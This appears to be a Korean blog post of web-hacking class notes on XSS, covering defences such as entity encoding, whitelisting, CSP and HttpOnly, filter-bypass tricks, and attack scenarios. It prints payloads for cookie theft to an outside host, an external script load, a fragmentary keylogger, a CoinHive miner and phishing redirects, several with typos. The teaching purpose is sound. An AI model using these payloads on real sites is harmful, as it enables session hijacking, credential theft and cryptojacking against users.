본문 바로가기
Web hacking/Nomaltic) 웹 해킹 수업 노트 👩‍💻

[6주차]XSS 키로커 삽입과 대응방안

by m_.9m 2021. 11. 20.

* 참고사항

XSS<script>alert(1);</script> 시 단순한 알림창에 위협을 느끼지 못하기 때문에 버그바운티나 실제 업무에서 보고서를 작성할 떄 위험하다는 것을 직관적으로 인지시켜주기 위해서 얼마나 영향력 있는 취약점인지 보여주는 게 좋다.

작성 시

- <script>alert(1)</script>
- <script>xss()<script> (기본형)
- <script>document cookie</script>

 

1. XSS를 어떻게 잘 막을 수 있을지에 대한 의견 취합

 

  • 입출력 HTML Entity 전환 필터링
  • White List 기반 필터링
  • Black List 기반 필터링
  • 보안 라이브러리 사용
  • 문자열 길이 제한
  • 웹 방화벽
  • 보안 정책 CSP
  • Http Only 설정

2. XSS 대응방안 정석

 

적용가능한 모든 곳에서,

사용자의 파라미터에서 HTML 특수문자들을 HTML Entity로 표현한다.

HTML Entity : <, > = &it, &gt

이 Entity 를 출력시나 입력시에 적용할 수 있다.

 

적용이 불가한 곳에서는, 예를들어 게시판 HTML Editor,

Step 1) 전부 다 Entity로 치환한다.

Step 2) White List 기반으로 허용 태그 사용. 

          : <image>, <iframe>을 도로 돌려놔준다.

Step 3) Black List 기반으로 악성 이벤트 핸들러를 필터링 해준다.

          :<img scr=x onerror>, onload 등

 

3. Bypass 기법

- 입출력 HTML Entity 전환은 우회가 불가하다.

- White List XSS 필터링은 제한적으로 사용되며 우회가 불가하다.

- 웹 방화벽(WAF)은 보통 블랙리스트 방식으로 우회가 가능할 수 있다.

실무에서 보통 방화벽은 가능하다고 가정하고 넘긴다. 시스템 자체의 결함을 찾는게 업무의 본질이기 때문.

-HttpOlny 설정

Session ID XSS, document cookie=" "

이는 쿠기 값을 탈취하는 걸 막을 수 있다. 

- 보안 정책 CSP

- 보안라이브러리 사용시 우회가 가능할 수도 있다. 예를 들어 "<"에만 적용이 되어있는 경우

myungju'); funtion func_test()

 

<script>func_test('nomartic') alert('xss');('

   ');

</script >

 

우회가 되는 경우

(1) Client 측 검증

-> 편의 기능 로그인, 주민등록 검증 등

예를 들어 로그인할 때 '아이디를 입력하세요' 이런 칸은 자바 안에서 구현한다.

이걸 지워버리면 데이터를 날릴 수 있다.

<script>alert(1);</script>입력 시 꺽세가 날아가면 Burp Suite(Web Proxy)를 사용해 다시 입력해본다.

= 제목에 Hello를 넣고, Burp Suite에서 <script> 삽입 후 포워드하면 중간에 변조된 정보를 보낼 수 있다.

 

(2) Black List 기반 필터링

ex) script 

- 대소문자 혼합 ScRiPt

- 키워드 반복 scrscriptipt

- URL Double Encoding

  " -> %22 -> %2522 (%가 %25로 치환) -> %22 로 다시 살아나는 경우가 있음.

- Event Handler: onerror, onload

* audio: <audio scr=" ~~~" onplay="alert(1)">

* onmouseover 

<img scr=1 onmouseover="alert()">는 마우스를 올려야만 실행되는 태그이다.

 

(3) 문자열 길이 제한

50글자 제한과 같은 재약이 있을 때 

<script scr="http://myungju.com/xss.js></script>

<script scr="http://a/xss.js></script>

js는 글자 수 제한이 없다. 이런 식으로 불러와서 로드시키는 방법으로 우회 가능

 

 

4. XSS 공격 시나리오

 

(1) Session ID 탈취

<script> document_wirte("<img scr="http://myungju.com/?(Get 방식 session=)+document.cookie+

"/>");

스니핑 시 세션아이디를 훔치면 계정 탈취나 다름없다.

 

(2) HTML injection

HTML로 게시글 삽입해서 클릭 유도, 다운로드 유도, 워드 악성 스크립트 파일로 공격

 

(3) Key Logger 삽입

 

var buffer = [ ];

document.onkeypass = function(e){

var timestamp = ~~

<input></input>

 

-> 언제 사용하면 좋을까?

키로거는 해당 페이지만 가능하기 때문에 해당 로그인 form이 있는 페이지, 인증정보 사용하는 곳에 

키로거를 삽입하는 것이 좋다.

-> Miner 실행

<script scr="http://coin-hive.com/lib/coinhive.min.js"> var miner=new

CoinHive.Anonymous('thisistest'); miner.start(); </script>

-> 사진, 동영상

영화 두시간

->redirect 링크, Reflected XSS 로그인이 필요합니다. <script>location.href="피싱 페이지";</script>

<script>location.href="피싱 페이지";</script> : 페이지 이동

<script>location.replace=("피싱 페이지");</script> : 페이지 교체, 뒤로가기 없음